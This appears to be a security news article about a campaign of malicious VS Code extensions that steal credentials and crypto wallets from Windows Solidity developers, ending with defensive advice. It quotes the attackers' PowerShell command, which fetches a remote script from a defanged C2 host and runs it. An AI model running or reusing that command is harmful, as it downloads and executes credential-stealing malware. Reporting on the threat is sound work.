Malicious VS Code Extensions Target Windows Solidity Developers to Steal Credentials

A sophisticated cyberattack campaign has recently emerged, specifically targeting Solidity developers using Visual Studio Code (VS Code) on Windows systems. Threat actors have deployed malicious extensions that masquerade as legitimate developer tools, aiming to exfiltrate sensitive information, including cryptocurrency wallet credentials.

Identified Malicious Extensions

Three extensions have been pinpointed as part of this campaign:

– solaibot: Claims to offer advanced syntax scanning for Solidity code.

– among-eth: Purports to provide vulnerability detection features for Ethereum smart contracts.

– blankebesxstnion: Advertises enhanced debugging capabilities for Solidity developers.

These extensions were available on the VS Code Marketplace and collectively downloaded approximately 50 times before their removal. Despite the seemingly low download count, the potential impact is significant, given the high-value targets involved.

Attack Mechanism

The malicious extensions operate through a multi-stage infection chain:

1. Initial Execution: Upon installation, the extension’s `extension.js` file executes, containing both legitimate functionality and hidden malicious code.

2. Command and Control Communication: The hidden code contacts a command and control (C2) server at `solidity[.]bot` to receive further instructions.

3. Payload Delivery: For Windows users, the C2 server responds with a command to execute a PowerShell script:

“`powershell
powershell -ExecutionPolicy Bypass -Command irm https://solidity[.]bot/a.txt | iex
“`

This script downloads and installs a malicious browser extension into Chromium-based browsers, modifying shortcuts to load the extension at startup.

4. Persistence and Evasion: The script establishes persistence by adding registry keys and disabling Windows Defender, ensuring the malware remains active and undetected.

Broader Implications

This campaign is part of a larger trend where malicious actors exploit the trust developers place in VS Code extensions. Previous incidents have involved extensions that steal credentials, open remote shells, and deploy cryptominers. The open-source nature of the VS Code extension ecosystem, combined with insufficient security controls, makes it a lucrative target for attackers.

Recommendations for Developers

To mitigate the risk of such attacks, developers should:

– Verify Extensions: Install extensions only from verified publishers and scrutinize user reviews and download counts for authenticity.

– Limit Permissions: Be cautious of extensions requesting extensive permissions and avoid those that seem unnecessary for the extension’s functionality.

– Regular Audits: Periodically review installed extensions and remove any that are no longer in use or appear suspicious.

– Monitor System Behavior: Stay vigilant for unusual system behavior, such as unexpected resource usage or unauthorized network connections, which may indicate malicious activity.

By adopting these practices, developers can better protect their environments and sensitive information from emerging threats.